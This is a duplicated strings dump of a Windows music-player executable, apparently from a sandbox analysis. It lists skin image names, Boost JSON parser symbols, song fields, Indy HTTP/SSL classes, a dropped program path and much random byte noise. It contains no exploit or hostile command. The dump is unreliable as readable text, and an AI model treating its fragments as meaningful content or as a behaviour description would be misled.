.?AU?$abstract_parser@V?$scanner@V?$_Vector_iterator@V?$_Vector_val@_WV?$allocator@_W@std@@@std@@@std@@U?$scanner_policies@V?$skip_parser_iteration_policy@U?$alternative@U?$alternative@Uspace_parser@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@U?$alternative@Ueol_parser@classic@spirit@boost@@Uend_parser@234@@234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@V1234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@Uiteration_policy@234@@classic@spirit@boost@@Umatch_policy@234@Uaction_policy@234@@classic@spirit@boost@@@classic@spirit@boost@@Unil_t@234@@impl@classic@spirit@boost@@
.?AU?$concrete_parser@U?$sequence@U?$assertive_parser@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@U?$alternative@V?$rule@V?$scanner@V?$_Vector_iterator@V?$_Vector_val@_WV?$allocator@_W@std@@@std@@@std@@U?$scanner_policies@V?$skip_parser_iteration_policy@U?$alternative@U?$alternative@Uspace_parser@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@U?$alternative@Ueol_parser@classic@spirit@boost@@Uend_parser@234@@234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@V1234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@Uiteration_policy@234@@classic@spirit@boost@@Umatch_policy@234@Uaction_policy@234@@classic@spirit@boost@@@classic@spirit@boost@@Unil_t@234@U5234@@classic@spirit@boost@@V1234@@classic@spirit@boost@@@classic@spirit@boost@@U?$assertive_parser@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@Uend_parser@classic@spirit@boost@@@234@@classic@spirit@boost@@V?$scanner@V?$_Vector_iterator@V?$_Vector_val@_WV?$allocator@_W@std@@@std@@@std@@U?$scanner_policies@V?$skip_parser_iteration_policy@U?$alternative@U?$alternative@Uspace_parser@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@U?$alternative@Ueol_parser@classic@spirit@boost@@Uend_parser@234@@234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@V1234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@Uiteration_policy@234@@classic@spirit@boost@@Umatch_policy@234@Uaction_policy@234@@classic@spirit@boost@@@234@Unil_t@234@@impl@classic@spirit@boost@@
.?AU?$concrete_parser@U?$sequence@U?$assertive_parser@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@U?$alternative@V?$rule@V?$scanner@V?$_Vector_iterator@V?$_Vector_val@_WV?$allocator@_W@std@@@std@@@std@@U?$scanner_policies@V?$skip_parser_iteration_policy@U?$alternative@U?$alternative@Uspace_parser@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@U?$alternative@Ueol_parser@classic@spirit@boost@@Uend_parser@234@@234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@V1234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@Uiteration_policy@234@@classic@spirit@boost@@Umatch_policy@234@Uaction_policy@234@@classic@spirit@boost@@@classic@spirit@boost@@Unil_t@234@U5234@@classic@spirit@boost@@V1234@@classic@spirit@boost@@@classic@spirit@boost@@U?$assertive_parser@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@Uend_parser@classic@spirit@boost@@@234@@classic@spirit@boost@@V?$scanner@V?$_Vector_iterator@V?$_Vector_val@_WV?$allocator@_W@std@@@std@@@std@@U?$scanner_policies@V?$skip_parser_iteration_policy@U?$alternative@U?$alternative@Uspace_parser@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@U?$alternative@Ueol_parser@classic@spirit@boost@@Uend_parser@234@@234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@V1234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@Uiteration_policy@234@@classic@spirit@boost@@Umatch_policy@234@Uaction_policy@234@@classic@spirit@boost@@@234@Unil_t@234@@impl@classic@spirit@boost@@
.?AV?$sp_counted_impl_p@U?$grammar_helper@U?$grammar@U?$json_grammar@V?$basic_ptree@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@V12@U?$less@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@@2@@property_tree@boost@@@json_parser@property_tree@boost@@U?$parser_context@Unil_t@classic@spirit@boost@@@classic@spirit@4@@classic@spirit@boost@@U?$json_grammar@V?$basic_ptree@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@V12@U?$less@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@@2@@property_tree@boost@@@json_parser@property_tree@4@V?$scanner@V?$_Vector_iterator@V?$_Vector_val@_WV?$allocator@_W@std@@@std@@@std@@U?$scanner_policies@V?$skip_parser_iteration_policy@U?$alternative@U?$alternative@Uspace_parser@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@U?$alternative@Ueol_parser@classic@spirit@boost@@Uend_parser@234@@234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@V1234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@Uiteration_policy@234@@classic@spirit@boost@@Umatch_policy@234@Uaction_policy@234@@classic@spirit@boost@@@234@@impl@classic@spirit@boost@@@detail@boost@@
.?AV?$sp_counted_impl_p@U?$grammar_helper@U?$grammar@U?$json_grammar@V?$basic_ptree@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@V12@U?$less@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@@2@@property_tree@boost@@@json_parser@property_tree@boost@@U?$parser_context@Unil_t@classic@spirit@boost@@@classic@spirit@4@@classic@spirit@boost@@U?$json_grammar@V?$basic_ptree@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@V12@U?$less@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@@2@@property_tree@boost@@@json_parser@property_tree@4@V?$scanner@V?$_Vector_iterator@V?$_Vector_val@_WV?$allocator@_W@std@@@std@@@std@@U?$scanner_policies@V?$skip_parser_iteration_policy@U?$alternative@U?$alternative@Uspace_parser@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@U?$alternative@Ueol_parser@classic@spirit@boost@@Uend_parser@234@@234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@V1234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@Uiteration_policy@234@@classic@spirit@boost@@Umatch_policy@234@Uaction_policy@234@@classic@spirit@boost@@@234@@impl@classic@spirit@boost@@@detail@boost@@
%Program Files%\yyfm0529\2014081121\yymusic05.exe
%Program Files%\yyfm0529\2014081121\yymusic05.exe
fiTXtXML:com.adobe.xmp
fiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
#%DSZ
#%DSZ
k/.ea"#>Nn
k/.ea"#>Nn
W%u3>C
W%u3>C
f9Ky.RW`
f9Ky.RW`
125x125.jpg
125x125.jpg
L.Xkj
L.Xkj
320x225.png
320x225.png
astop.png}W
astop.png}W
back.png
back.png
bg2.png}SOh
bg2.png}SOh
bg3.png
bg3.png
bg_2.png}S]H
bg_2.png}S]H
bk.png|
bk.png|
I[CsS%SC
I[CsS%SC
.qO9M
.qO9M
t%7UfEa
t%7UfEa
zC%f
zC%f
]#%Sj
]#%Sj
J%XDU@}T
J%XDU@}T
8i.aV;
8i.aV;
%fiHZZ9
%fiHZZ9
3Nv%F
3Nv%F
R%cV}V
R%cV}V
mD%SK'l9
mD%SK'l9
QC
QC
bkcolor_1.png
bkcolor_1.png
bkcolor_2.png
bkcolor_2.png
bkcolor_3.png
bkcolor_3.png
bkcolor_4.png
bkcolor_4.png
bkcolor_5.png
bkcolor_5.png
bkcolor_6.png
bkcolor_6.png
bkcolor_7.png
bkcolor_7.png
border.png
border.png
L9q
L9q
btn-anonymity.png}
btn-anonymity.png}
[).XF
[).XF
'q.CAqK
'q.CAqK
btn-delete.png
btn-delete.png
btn-fav.png}Wy8
btn-fav.png}Wy8
btn-login.png}
btn-login.png}
btn-login2.png
btn-login2.png
[%*,\4>66
[%*,\4>66
%S;&DN
%S;&DN
btn-next.png
btn-next.png
btn-pause.png}X
btn-pause.png}X
btn-play.png
btn-play.png
BtnHidePlayList.png
BtnHidePlayList.png
BtnRightTop.png
BtnRightTop.png
btn_9k.png}Wy8
btn_9k.png}Wy8
btn_bd.png}Xy8
btn_bd.png}Xy8
btn_close.png}Vy8
btn_close.png}Vy8
btn_comm.png
btn_comm.png
btn_db.png}W
btn_db.png}W
btn_fh.png}XwT
btn_fh.png}XwT
btn_kw.png}
btn_kw.png}
btn_ok.png}W
btn_ok.png}W
l[O{#. %x
l[O{#. %x
btn_ok_blue.png
btn_ok_blue.png
btn_ok_red.png}
btn_ok_red.png}
btn_sc.png
btn_sc.png
=%uIS
=%uIS
btn_xm.png}X
btn_xm.png}X
button.png
button.png
channel.png
channel.png
close.png
close.png
collection.png
collection.png
ðxEuJxg
ðxEuJxg
color_list_bk.png
color_list_bk.png
\dl
\dl
dash.png}SM
dash.png}SM
DefaultUserImage.jpg
DefaultUserImage.jpg
%S]wF
%S]wF
downd.png
downd.png
downda.png
downda.png
downdahover.png
downdahover.png
DownLoadProgressForeImage.png
DownLoadProgressForeImage.png
exit.png}U
exit.png}U
fbcaptionbk.png
fbcaptionbk.png
feedback.png}V
feedback.png}V
>/.Yhi
>/.Yhi
font_bkcolor.png
font_bkcolor.png
font_forecolor.png
font_forecolor.png
forecolor_1.png
forecolor_1.png
forecolor_2.png
forecolor_2.png
forecolor_3.png
forecolor_3.png
forecolor_4.png
forecolor_4.png
.IDATx
.IDATx
forecolor_5.png
forecolor_5.png
forecolor_6.png
forecolor_6.png
forecolor_7.png
forecolor_7.png
forgettt.jpg
forgettt.jpg
frmdownmenu.xml
frmdownmenu.xml
FrmDropDownMenuFrame.xml
FrmDropDownMenuFrame.xml
FrmFeedBack.xmle
FrmFeedBack.xmle
FrmHotKeyTip.xmlu
FrmHotKeyTip.xmlu
frmlogin.xml
frmlogin.xml
FrmLrcChild.xmlU
FrmLrcChild.xmlU
FrmMenuFrame.xml
FrmMenuFrame.xml
frmplayer.xml
frmplayer.xml
frmplaylist.xml
frmplaylist.xml
frmProgressToolTip.xmlUPKN
frmProgressToolTip.xmlUPKN
frmWebBrowser.xml=
frmWebBrowser.xml=
frmWindowLrc.xml%M1
frmWindowLrc.xml%M1
frmWindowLrcParent.xml%
frmWindowLrcParent.xml%
headimg.png}
headimg.png}
d%U(.6
d%U(.6
tG%C*
tG%C*
history.png
history.png
home.png}VgTS
home.png}VgTS
hotkeytipbk.png
hotkeytipbk.png
icon.png
icon.png
input-password.png}U
input-password.png}U
input-user.png
input-user.png
like.png
like.png
!\Un%x
!\Un%x
list.png
list.png
lista.png
lista.png
D-wjÓ
D-wjÓ
listahover.png
listahover.png
list_item_bg.png}S
list_item_bg.png}S
list_pause.png
list_pause.png
list_play.png
list_play.png
list_scroll_bar.png}SmH
list_scroll_bar.png}SmH
list_scroll_bar2.png}S_H
list_scroll_bar2.png}S_H
{òC
{òC
list_title_bg.png}S
list_title_bg.png}S
loading01.png
loading01.png
loading02.png
loading02.png
loading03.png
loading03.png
loading04.png
loading04.png
LoginBk.png
LoginBk.png
%S%hu.Y
%S%hu.Y
g).IQ
g).IQ
LrcBk.png
LrcBk.png
u-3H}.
u-3H}.
lrclist.png}Xy8
lrclist.png}Xy8
@.xn?
@.xn?
lyricdelete.png
lyricdelete.png
lyricdeletea.png
lyricdeletea.png
lyricdeletea2.png
lyricdeletea2.png
LyricFrameVoice.png
LyricFrameVoice.png
lyricmute.png
lyricmute.png
lyrictoplay.png
lyrictoplay.png
mainframeshadow.png
mainframeshadow.png
3.jUj
3.jUj
max.png
max.png
menu.png
menu.png
min.png}SOh
min.png}SOh
mine.png
mine.png
minea.png
minea.png
mineahover.png
mineahover.png
mini.png
mini.png
mE)iVA.nP
mE)iVA.nP
more.png}SOH
more.png}SOH
musiclibrary.png
musiclibrary.png
next.png}ViTSg
next.png}ViTSg
next0520.png
next0520.png
normalVolume.png}U
normalVolume.png}U
%DZRlj
%DZRlj
play0520.png
play0520.png
play2.png
play2.png
playerbg01.png
playerbg01.png
playerbg02.png
playerbg02.png
playerlist.png}X
playerlist.png}X
playersidebg.jpg
playersidebg.jpg
playinging.jpg
playinging.jpg
playinginga.jpg
playinginga.jpg
".Wlm
".Wlm
playingnext.png
playingnext.png
playingplaying.jpg
playingplaying.jpg
playingprev.jpg
playingprev.jpg
playingpreva.jpg
playingpreva.jpg
playingrandom.jpg
playingrandom.jpg
playingrandoma.jpg
playingrandoma.jpg
playingvoice.png}V
playingvoice.png}V
PlayProgressForeImage.png
PlayProgressForeImage.png
pl_back.png}S_h
pl_back.png}S_h
pl_bg.png
pl_bg.png
pl_big.png
pl_big.png
pl_btn_down.png}Tih
pl_btn_down.png}Tih
pl_btn_on.png
pl_btn_on.png
pl_close.png}S[H
pl_close.png}S[H
pl_color.png
pl_color.png
pl_desktop.png
pl_desktop.png
pl_feedback.png}SKL
pl_feedback.png}SKL
pl_forward.png}S_H
pl_forward.png}S_H
pl_icon.png}Wy8
pl_icon.png}Wy8
pl_itself.png
pl_itself.png
pl_mutevol.png
pl_mutevol.png
pl_next.png}S_h
pl_next.png}S_h
pl_pause.png}SKh
pl_pause.png}SKh
pl_prev.png
pl_prev.png
pl_res.png
pl_res.png
pl_set.png
pl_set.png
pl_small.png}Tmh
pl_small.png}Tmh
pl_split.png}S_h
pl_split.png}S_h
pl_vol.png
pl_vol.png
pop_bkimage.png}U
pop_bkimage.png}U
power.png}XgTS
power.png}XgTS
,&.,/!./*
,&.,/!./*
prev.png}ViTS
prev.png}ViTS
prev0520.png
prev0520.png
prevention.png
prevention.png
progresstooltip.png
progresstooltip.png
progresstooltipbk.png
progresstooltipbk.png
.ZfDrhe
.ZfDrhe
T%s61K
T%s61K
m;.rA
m;.rA
progress_fore.png
progress_fore.png
pushedVolume.png
pushedVolume.png
random.jpg
random.jpg
random01.jpg
random01.jpg
random01a.jpg
random01a.jpg
random01hover.jpg
random01hover.jpg
random02.jpg
random02.jpg
random02a.jpg
random02a.jpg
random02hover.jpg
random02hover.jpg
random03.jpg
random03.jpg
random03a.jpg
random03a.jpg
random03hover.jpg
random03hover.jpg
random0520.png
random0520.png
reflash.png
reflash.png
remembertt.jpg
remembertt.jpg
scrollbar.png
scrollbar.png
search.png
search.png
E.Eg/&
E.Eg/&
SelectColor_SliderBar_Thumb.png
SelectColor_SliderBar_Thumb.png
5).uZ
5).uZ
slider_bg.png
slider_bg.png
sound (2).jpg
sound (2).jpg
sound.jpg
sound.jpg
sound100.jpg
sound100.jpg
steup.png}
steup.png}
suspensionbig.png
suspensionbig.png
suspensionbiga.png
suspensionbiga.png
suspensionbigahover.png
suspensionbigahover.png
suspensionclose.png
suspensionclose.png
suspensionclosea.png
suspensionclosea.png
suspensioncloseahover.png
suspensioncloseahover.png
suspensionfeedback.png
suspensionfeedback.png
suspensionfeedbacka.png
suspensionfeedbacka.png
suspensionfeedbackahover.png
suspensionfeedbackahover.png
suspensionlogin.png
suspensionlogin.png
suspensionmin.png
suspensionmin.png
suspensionmina.png
suspensionmina.png
suspensionminahover.png
suspensionminahover.png
suspensionset.png
suspensionset.png
suspensionseta.png
suspensionseta.png
suspensionsetahover.png
suspensionsetahover.png
suspensiontop.png
suspensiontop.png
suspensiontopa.png
suspensiontopa.png
suspensiontopahover.png
suspensiontopahover.png
system_menu_btnexit.png
system_menu_btnexit.png
system_menu_btnfeedback.png}V
system_menu_btnfeedback.png}V
system_menu_btnmin.png
system_menu_btnmin.png
;7%2uf
;7%2uf
system_menu_btnmini.png
system_menu_btnmini.png
system_menu_btnsteup.png}
system_menu_btnsteup.png}
system_menu_btntop.png}W
system_menu_btntop.png}W
sys_check_btn.png
sys_check_btn.png
sys_check_btn_blue.png
sys_check_btn_blue.png
sys_check_btn_red.png
sys_check_btn_red.png
sys_check_btn_whiter.png
sys_check_btn_whiter.png
tab_comm.png
tab_comm.png
tooltipbk.png
tooltipbk.png
update.xml
update.xml
voice00528.png
voice00528.png
voice0520.png
voice0520.png
voice0a0528.png
voice0a0528.png
voice1000528.png
voice1000528.png
voiceall0528.png
voiceall0528.png
astop.png
astop.png
bg2.png
bg2.png
bg_2.png
bg_2.png
bk.png
bk.png
btn-anonymity.png
btn-anonymity.png
btn-fav.png
btn-fav.png
btn-login.png
btn-login.png
btn-pause.png
btn-pause.png
btn_9k.png
btn_9k.png
btn_bd.png
btn_bd.png
btn_close.png
btn_close.png
btn_db.png
btn_db.png
btn_fh.png
btn_fh.png
btn_kw.png
btn_kw.png
btn_ok.png
btn_ok.png
btn_ok_red.png
btn_ok_red.png
btn_xm.png
btn_xm.png
dash.png
dash.png
exit.png
exit.png
feedback.png
feedback.png
frmProgressToolTip.xml
frmProgressToolTip.xml
frmWebBrowser.xml
frmWebBrowser.xml
headimg.png
headimg.png
home.png
home.png
input-password.png
input-password.png
list_item_bg.png
list_item_bg.png
list_scroll_bar.png
list_scroll_bar.png
list_scroll_bar2.png
list_scroll_bar2.png
list_title_bg.png
list_title_bg.png
lrclist.png
lrclist.png
min.png
min.png
more.png
more.png
next.png
next.png
normalVolume.png
normalVolume.png
playerlist.png
playerlist.png
playingvoice.png
playingvoice.png
pl_back.png
pl_back.png
pl_btn_down.png
pl_btn_down.png
pl_close.png
pl_close.png
pl_feedback.png
pl_feedback.png
pl_forward.png
pl_forward.png
pl_icon.png
pl_icon.png
pl_next.png
pl_next.png
pl_small.png
pl_small.png
pl_split.png
pl_split.png
pop_bkimage.png
pop_bkimage.png
power.png
power.png
prev.png
prev.png
steup.png
steup.png
system_menu_btnfeedback.png
system_menu_btnfeedback.png
system_menu_btnsteup.png
system_menu_btnsteup.png
system_menu_btntop.png
system_menu_btntop.png
.Zuxf
.Zuxf
tCPS
tCPS
$;y)#%s
$;y)#%s
.QsvC
.QsvC
.VvC v
.VvC v
lH)Qk%c
lH)Qk%c
4n.Ei
4n.Ei
,GA.GS
,GA.GS
55
55
6 6$6(6,6
6 6$6(6,6
7(7.787?7
7(7.787?7
> >'>.>5>]>
> >'>.>5>]>
0%0U0
0%0U0
5$5(5,5054585
5$5(5,5054585
3M4
3M4
? ?$?(?,?0?4?8?
? ?$?(?,?0?4?8?
7-7R7}7
7-7R7}7
> >$>(>,>0>4>8>
> >$>(>,>0>4>8>
4 4$4(4,4044484
4 4$4(4,4044484
6 6$6(6,60646
6 6$6(6,60646
8 8$8(8,80848
8 8$8(8,80848
3 3$3(3,3034383
3 3$3(3,3034383
? ?$?(?,?0?4?8?@?
? ?$?(?,?0?4?8?@?
3 3$3(3,3034383
3 3$3(3,3034383
: :@:`:|:
: :@:`:|:
=$=,=4=
=$=,=4=
4 5$5(545
4 5$5(545
mscoree.dll
mscoree.dll
LKERNEL32.DLL
LKERNEL32.DLL
- Attempt to initialize the CRT more than once.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- CRT not initialized
- floating point support not loaded
- floating point support not loaded
WUSER32.DLL
WUSER32.DLL
Skin\bkcolor_1.png
Skin\bkcolor_1.png
Skin\forecolor_1.png
Skin\forecolor_1.png
Skin\bkcolor_2.png
Skin\bkcolor_2.png
Skin\forecolor_2.png
Skin\forecolor_2.png
Skin\bkcolor_3.png
Skin\bkcolor_3.png
Skin\forecolor_3.png
Skin\forecolor_3.png
Skin\bkcolor_4.png
Skin\bkcolor_4.png
Skin\forecolor_4.png
Skin\forecolor_4.png
Skin\bkcolor_5.png
Skin\bkcolor_5.png
Skin\forecolor_5.png
Skin\forecolor_5.png
Skin\bkcolor_6.png
Skin\bkcolor_6.png
Skin\forecolor_6.png
Skin\forecolor_6.png
Skin\bkcolor_7.png
Skin\bkcolor_7.png
Skin\forecolor_7.png
Skin\forecolor_7.png
E:\zhuyicheng\boost_1_53_0\boost/property_tree/detail/rapidxml.hpp
E:\zhuyicheng\boost_1_53_0\boost/property_tree/detail/rapidxml.hpp
E:\zhuyicheng\boost_1_53_0\boost/optional/optional.hpp
E:\zhuyicheng\boost_1_53_0\boost/optional/optional.hpp
!p.empty() && "Empty path not allowed for put_child."
!p.empty() && "Empty path not allowed for put_child."
errorUrl
errorUrl
E:\zhuyicheng\svn\trunk\MusicPlayerSrc\win32\MusicPlayer\Header Files\rapidxml/rapidxml.hpp
E:\zhuyicheng\svn\trunk\MusicPlayerSrc\win32\MusicPlayer\Header Files\rapidxml/rapidxml.hpp
E:\zhuyicheng\svn\trunk\MusicPlayerSrc\win32\MusicPlayer\Header Files\rapidxml/rapidxml_print.hpp
E:\zhuyicheng\svn\trunk\MusicPlayerSrc\win32\MusicPlayer\Header Files\rapidxml/rapidxml_print.hpp
E:\zhuyicheng\boost_1_53_0\boost/smart_ptr/shared_ptr.hpp
E:\zhuyicheng\boost_1_53_0\boost/smart_ptr/shared_ptr.hpp
E:\zhuyicheng\boost_1_53_0\boost/smart_ptr/scoped_ptr.hpp
E:\zhuyicheng\boost_1_53_0\boost/smart_ptr/scoped_ptr.hpp
E:\zhuyicheng\boost_1_53_0\boost/spirit/home/classic/core/impl/match.ipp
E:\zhuyicheng\boost_1_53_0\boost/spirit/home/classic/core/impl/match.ipp
val.is_initialized()
val.is_initialized()
E:\zhuyicheng\boost_1_53_0\boost/spirit/home/classic/core/match.hpp
E:\zhuyicheng\boost_1_53_0\boost/spirit/home/classic/core/match.hpp
c.stack.size() >= 1
c.stack.size() >= 1
Song.music_id
Song.music_id
Song.artid
Song.artid
Song.name
Song.name
Song.artist
Song.artist
Song.special
Song.special
Song.artist_pic240
Song.artist_pic240
Song.mp3path
Song.mp3path
Song.mp3dl
Song.mp3dl
hXXp://
hXXp://
=data.xcode
=data.xcode
data.songList
data.songList
E:\zhuyicheng\boost_1_53_0\boost/spirit/home/classic/utility/impl/chset/range_run.ipp
E:\zhuyicheng\boost_1_53_0\boost/spirit/home/classic/utility/impl/chset/range_run.ipp
r.is_valid()
r.is_valid()
tplayList.trackList
tplayList.trackList
Assertion failed: %s, file %s, line %d
Assertion failed: %s, file %s, line %d
1.14.529.1
1.14.529.1
MusicPla.exe
MusicPla.exe
YFMSever.exe_3420:
.idata
.idata
.rdata
.rdata
`.rsrc
`.rsrc
kernel32.dll
kernel32.dll
Windows
Windows
MSWHEEL_ROLLMSG
MSWHEEL_ROLLMSG
MSH_WHEELSUPPORT_MSG
MSH_WHEELSUPPORT_MSG
MSH_SCROLL_LINES_MSG
MSH_SCROLL_LINES_MSG
$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)
$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)
oleaut32.dll
oleaut32.dll
EVariantBadIndexError
EVariantBadIndexError
ssShift
ssShift
htKeyword
htKeyword
EInvalidOperation
EInvalidOperation
u%CNu
u%CNu
%s[%d]
%s[%d]
%s_%d
%s_%d
EInvalidGraphicOperation
EInvalidGraphicOperation
Uh.FB
Uh.FB
USER32.DLL
USER32.DLL
comctl32.dll
comctl32.dll
uxtheme.dll
uxtheme.dll
OnKeyDown
OnKeyDown
OnKeyPress
OnKeyPress
OnKeyUp
OnKeyUp
UrlMon
UrlMon
Proportional
Proportional
%s%s%s%s%s%s%s%s%s%s
%s%s%s%s%s%s%s%s%s%s
IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")
IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")
JumpID("","%s")
JumpID("","%s")
TKeyEvent
TKeyEvent
TKeyPressEvent
TKeyPressEvent
HelpKeywordteA
HelpKeywordteA
crSQLWait
crSQLWait
%s (%s)
%s (%s)
imm32.dll
imm32.dll
AutoHotkeys
AutoHotkeys
AutoHotkeys8~D
AutoHotkeys8~D
ssHotTrack
ssHotTrack
TWindowState
TWindowState
poProportional
poProportional
TWMKey
TWMKey
KeyPreview
KeyPreview
WindowState
WindowState
tagMSG
tagMSG
System\CurrentControlSet\Control\Keyboard Layouts\%.8x
System\CurrentControlSet\Control\Keyboard Layouts\%.8x
vcltest3.dll
vcltest3.dll
User32.dll
User32.dll
%s, ClassID: %s
%s, ClassID: %s
ole32.dll
ole32.dll
olepro32.dll
olepro32.dll
getservbyport
getservbyport
WSAAsyncGetServByPort
WSAAsyncGetServByPort
WSAJoinLeaf
WSAJoinLeaf
WS2_32.DLL
WS2_32.DLL
127.0.0.1
127.0.0.1
Uh.AF
Uh.AF
TIdSocketListWindows
TIdSocketListWindows
TIdStackWindowsU
TIdStackWindowsU
IdStackWindows
IdStackWindows
%s, %.2d %s %.4d %s %s
%s, %.2d %s %.4d %s %s
%s, %d %s %d %s %s
%s, %d %s %d %s %s
ftpTransfer
ftpTransfer
ftpReady
ftpReady
ftpAborted
ftpAborted
ClientPortMin
ClientPortMin
ClientPortMax
ClientPortMax
Port
Port
EIdCanNotBindPortInRange
EIdCanNotBindPortInRange
EIdInvalidPortRangeSVW
EIdInvalidPortRangeSVW
saUsernamePassword
saUsernamePassword
Password
Password
0.0.0.1
0.0.0.1
TIdTCPConnection
TIdTCPConnection
TIdTCPConnection0
TIdTCPConnection0
IdTCPConnection
IdTCPConnection
EIdTCPConnectionError
EIdTCPConnectionError
TIdTCPClient
TIdTCPClient
IdTCPClient
IdTCPClient
BoundPort
BoundPort
PortU
PortU
password
password
Password
Password
IdHTTPHeaderInfo
IdHTTPHeaderInfo
ProxyPassword
ProxyPassword
ProxyPort
ProxyPort
Mozilla/3.0 (compatible; Indy Library)
Mozilla/3.0 (compatible; Indy Library)
libeay32.dll
libeay32.dll
ssleay32.dll
ssleay32.dll
SSL_CTX_use_PrivateKey_file
SSL_CTX_use_PrivateKey_file
SSL_CTX_use_certificate_file
SSL_CTX_use_certificate_file
SSL_get_peer_certificate
SSL_get_peer_certificate
SSL_CTX_set_default_passwd_cb
SSL_CTX_set_default_passwd_cb
SSL_CTX_set_default_passwd_cb_userdata
SSL_CTX_set_default_passwd_cb_userdata
SSL_CTX_check_private_key
SSL_CTX_check_private_key
X509_STORE_CTX_get_current_cert
X509_STORE_CTX_get_current_cert
des_set_key
des_set_key
sslvrfFailIfNoPeerCert
sslvrfFailIfNoPeerCert
TPasswordEvent
TPasswordEvent
Certificate
Certificate
RootCertFile,}@
RootCertFile,}@
CertFile,}@
CertFile,}@
KeyFile
KeyFile
OnGetPasswordTGG
OnGetPasswordTGG
EIdOSSLLoadingRootCertError
EIdOSSLLoadingRootCertError
EIdOSSLLoadingCertError
EIdOSSLLoadingCertError
EIdOSSLLoadingKeyError
EIdOSSLLoadingKeyError
CommentURL
CommentURL
TIdHTTPMethod
TIdHTTPMethod
IdHTTP
IdHTTP
TIdHTTPOption
TIdHTTPOption
TIdHTTPOptions
TIdHTTPOptions
TIdHTTPProtocolVersion
TIdHTTPProtocolVersion
IdHTTPx
IdHTTPx
TIdHTTPOnHeadersAvailable
TIdHTTPOnHeadersAvailable
TIdHTTPOnRedirectEvent
TIdHTTPOnRedirectEvent
TIdHTTPResponse
TIdHTTPResponse
TIdHTTPRequest
TIdHTTPRequest
TIdHTTPRequestd
TIdHTTPRequestd
TIdHTTPProtocolx
TIdHTTPProtocolx
TIdCustomHTTP
TIdCustomHTTP
TIdCustomHTTPx
TIdCustomHTTPx
TIdHTTP`
TIdHTTP`
TIdHTTP
TIdHTTP
HTTPOptionst
HTTPOptionst
EIdHTTPProtocolException
EIdHTTPProtocolException
